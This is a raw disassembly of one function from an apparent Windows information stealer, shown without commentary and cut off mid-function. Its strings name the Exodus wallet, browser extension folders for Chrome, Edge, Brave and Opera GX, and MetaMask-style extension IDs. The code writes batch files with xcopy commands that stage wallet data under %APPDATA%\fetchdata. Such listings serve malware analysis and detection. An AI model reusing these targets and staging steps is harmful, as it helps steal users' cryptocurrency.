Function at 0x14002ccd0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x380]
sub rsp, 0x480
mov rax, qword [0x1401eb9a0]
xor rax, rsp
mov qword [rbp + 0x370], rax
lea rcx, str.APPDATA
call fcn.140169888
xor esi, esi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], sil
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14002cd34
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140002450
nop
lea rcx, str.LocalAppData
call fcn.140169888
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x88], 0
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002cd76
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.140002450
nop
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
mov rcx, qword [rbp - 0x68]
sub rax, rcx
cmp rax, 0xa
jb 0x14002f6be
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], 0xa
lea rax, str._fetchdata
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x350]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x68]
sub rax, rcx
cmp rax, 0x11
jb 0x14002f6c4
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
lea rax, str._fetchdataexdous
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x330]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x68]
sub rax, rcx
cmp rax, 0x11
jb 0x14002f6ca
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
lea rax, str._fetchdata_atomic
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x310]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x68]
sub rax, rcx
cmp rax, 0x13
jb 0x14002f6d0
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], reloc.WS2_32.dll_send
lea rax, str._fetchdatametamask
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x18]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x68]
sub rax, rcx
cmp rax, 0x10
jb 0x14002f6d6
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recv
lea rax, str._fetchdata_trust
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x2f0]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x68]
sub rax, rcx
cmp rax, 7
jb 0x14002f6dc
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], 7
lea rax, str.Exodus
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xa8]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp + 0x98]
sub rax, rcx
cmp rax, 0x39
jb 0x14002f6e2
lea r9, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r9, qword [rbp + 0x88]
mov qword [rsp + 0x30], reloc.WS2_32.dll_gethostname
lea rax, str.GoogleChromeUser_DataDefaultLocal_Extension_Settings
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x88]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x38]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x28]
sub rax, rcx
cmp rax, 0x21
jb 0x14002f6e8
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae r9, qword [rbp - 0x38]
mov qword [rsp + 0x30], 0x21
lea rdi, str._nkbihfbeogaeaoehlefnkodbefgpgknn
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x38]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x2d0]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp + 0x98]
sub rax, rcx
cmp rax, 0x3a
jb 0x14002f6ee
lea r9, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r9, qword [rbp + 0x88]
mov qword [rsp + 0x30], 0x3a
lea rax, str.MicrosoftEdgeUser_DataDefaultLocal_Extension_Settings
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x88]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x58]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x48]
sub rax, rcx
cmp rax, 0x21
jb 0x14002f6f4
lea r9, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], 0x21
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x2b0]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x48]
sub rax, rcx
cmp rax, 0x21
jb 0x14002f6fa
lea r9, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], 0x21
lea rax, str.ejbalbakoplchlghecdalmeeeajnimhm
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x290]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp + 0x98]
sub rax, rcx
cmp rax, 0x47
jb 0x14002f700
lea r9, [rbp + 0x88]
cmp qword [rbp + 0xa0], 0x10
cmovae r9, qword [rbp + 0x88]
mov qword [rsp + 0x30], 0x47
lea rax, str.BraveSoftwareBrave_BrowserUser_DataDefaultLocal_Extension_Settings
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x88]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 0x21
jb 0x14002f706
lea r9, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae r9, qword [rbp + 0x48]
mov qword [rsp + 0x30], 0x21
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x48]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x270]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x68]
sub rax, rcx
cmp rax, 0x38
jb 0x14002f70c
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r9, qword [rbp - 0x78]
mov qword [rsp + 0x30], gethostname
lea rax, str.Opera_SoftwareOpera_GX_StableLocal_Extension_Settings
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x78]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xf8]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp + 0x58]
sub rax, rcx
cmp rax, 0x21
jb 0x14002f712
lea r9, [rbp + 0x48]
cmp qword [rbp + 0x60], 0x10
cmovae r9, qword [rbp + 0x48]
mov qword [rsp + 0x30], 0x21
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x48]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x250]
call fcn.140021700
nop
mov rax, rbx
mov rcx, qword [rbp - 0x28]
sub rax, rcx
cmp rax, 0x21
jb 0x14002f718
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae r9, qword [rbp - 0x38]
mov qword [rsp + 0x30], 0x21
lea rax, str.egjidjbpglichdcondbcbdnbeeppgdph
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x38]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x230]
call fcn.140021700
nop
lea rcx, [rbp + 0x350]
cmp qword [rbp + 0x368], 0x10
cmovae rcx, qword [rbp + 0x350]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rcx, qword [rbp + 0xa8]
lea rdx, [rbp + 0xc8]
call fcn.140164f50
mov edi, 6
lea r15, str.u.bat
lea r12d, [rdi - 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r13, vtable.std::ios_base.0
test eax, eax
jne 0x14002d6ab
lea rcx, [rbp + 0x330]
cmp qword [rbp + 0x348], 0x10
cmovae rcx, qword [rbp + 0x330]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp + 0xb8]
sub rax, rcx
cmp rax, rdi
jb 0x14002f71e
lea r9, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae r9, qword [rbp + 0xa8]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xa8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.140021700
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call fcn.140152690
mov rax, rbx
mov rcx, qword [rbp + 0xb8]
sub rax, rcx
cmp rax, rdi
jb 0x14002f724
lea r9, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae r9, qword [rbp + 0xa8]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xa8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140021700
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x120]
call fcn.140017b90
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14002d456
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d451
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f72a
call fcn.14014fd6c
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rax, rbx
mov rcx, qword [rbp + 0xb8]
sub rax, rcx
cmp rax, 7
jb 0x14002f730
lea rax, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rax, qword [rbp + 0xa8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp + 0xa8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 8]
call fcn.140021700
nop
mov r8d, 0x3b
lea rdx, str.exodus.wallet____appdata__fetchdataexdous___K__D__H__Y_n
lea rcx, [rbp + 8]
call fcn.14001c180
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [rbp + 0x120]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14002d56b
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d566
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f736
call fcn.14014fd6c
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14002d5b9
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d5b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f73c
call fcn.14014fd6c
lea rcx, [rbp + 0x128]
call fcn.14001b5f0
test rax, rax
jne 0x14002d5f6
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
mov edx, edi
cmp qword [rcx + 0x48], 0
cmovne edx, r12d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003f50
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x120], r14
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140018bb0
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x11c], edx
mov qword [rbp + 0x1c8], r13
lea rcx, [rbp + 0x1c8]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14002d6ab
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d6a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f742
call fcn.14014fd6c
lea rcx, [rbp + 0x2d0]
cmp qword [rbp + 0x2e8], 0x10
cmovae rcx, qword [rbp + 0x2d0]
lea rdx, [rbp + 0xc8]
call fcn.140164f50
test eax, eax
jne 0x14002dac7
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rcx, qword [rbp - 0x18]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp - 8]
sub rax, rcx
cmp rax, 7
jb 0x14002f748
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], 7
lea rax, [0x1401bdb90]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x18]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 8]
call fcn.140021700
nop
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rcx, qword [rbp + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp - 0x28]
sub rax, rcx
cmp rax, 6
jb 0x14002f74e
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae r9, qword [rbp - 0x38]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x38]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc8]
call fcn.140021700
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call fcn.140152690
mov rax, rbx
mov rcx, qword [rbp - 0x28]
sub rax, rcx
cmp rax, 6
jb 0x14002f754
lea r9, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae r9, qword [rbp - 0x38]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x38]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140021700
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x120]
call fcn.140017b90
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14002d83f
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d83a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f75a
call fcn.14014fd6c
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rax, rbx
mov rcx, qword [rbp - 0x28]
sub rax, rcx
cmp rax, 7
jb 0x14002f760
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rax, qword [rbp - 0x38]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp - 0x38]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.140021700
nop
mov r8d, 0x58
lea rdx, str._nkbihfbeogaeaoehlefnkodbefgpgknn____appdata__fetchdatametamaskchrome___K__D__H__Y_n
lea rcx, [rbp + 0x28]
call fcn.14001c180
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [rbp + 0x120]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14002d945
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d940
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f766
call fcn.14014fd6c
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14002d993
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d98e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f76c
call fcn.14014fd6c
lea rcx, [rbp + 0x128]
call fcn.14001b5f0
test rax, rax
jne 0x14002d9d0
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
mov edx, edi
cmp qword [rcx + 0x48], 0
cmovne edx, r12d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003f50
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x120], r14
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140018bb0
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x11c], edx
mov qword [rbp + 0x1c8], r13
lea rcx, [rbp + 0x1c8]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x14002da8c
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002da86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f772
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14002dac7
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dac2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f778
call fcn.14014fd6c
lea rcx, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0x10
cmovae rcx, qword [rbp + 0x2b0]
lea rdx, [rbp + 0xc8]
call fcn.140164f50
lea r14, [0x1401bdbfc]
test eax, eax
jne 0x14002deea
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rcx, qword [rbp - 0x18]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp - 8]
sub rax, rcx
cmp rax, 5
jb 0x14002f77e
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], 5
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x18]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 8]
call fcn.140021700
nop
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rcx, qword [rbp + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp - 0x48]
sub rax, rcx
cmp rax, 6
jb 0x14002f784
lea r9, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xc8]
call fcn.140021700
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call fcn.140152690
mov rax, rbx
mov rcx, qword [rbp - 0x48]
sub rax, rcx
cmp rax, 6
jb 0x14002f78a
lea r9, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.140021700
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x120]
call fcn.140017b90
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14002dc5b
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dc56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f790
call fcn.14014fd6c
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rax, rbx
mov rcx, qword [rbp - 0x48]
sub rax, rcx
cmp rax, 7
jb 0x14002f796
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rax, qword [rbp - 0x58]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.xcopy__
lea r8, [rbp - 0x58]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.140021700
nop
mov r8d, 0x56
lea rdx, str._nkbihfbeogaeaoehlefnkodbefgpgknn____appdata__fetchdatametamaskedge___K__D__H__Y_n
lea rcx, [rbp + 0x28]
call fcn.14001c180
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [rbp + 0x120]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14002dd61
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dd5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f79c
call fcn.14014fd6c
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14002ddaf
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ddaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7a2
call fcn.14014fd6c
lea rcx, [rbp + 0x128]
call fcn.14001b5f0
test rax, rax
jne 0x14002ddec
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
mov edx, edi
cmp qword [rcx + 0x48], 0
cmovne edx, r12d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003f50
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140018bb0
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x11c], edx
mov qword [rbp + 0x1c8], r13
lea rcx, [rbp + 0x1c8]
call fcn.14014ce90
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x14002deaf
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dea9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7a8
call fcn.14014fd6c
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14002deea
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dee5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7ae
call fcn.14014fd6c
lea rcx, [rbp + 0x290]
cmp qword [rbp + 0x2a8], 0x10
cmovae rcx, qword [rbp + 0x290]
lea rdx, [rbp + 0xc8]
call fcn.140164f50
test eax, eax
jne 0x14002e308
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rcx, qword [rbp - 0x18]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
mov rcx, qword [rbp - 8]
sub rax, rcx
cmp rax, 5
jb 0x14002f7b4
lea r9, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], 5
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x18]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 8]
call fcn.140021700
nop
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rcx, qword [rbp + 8]
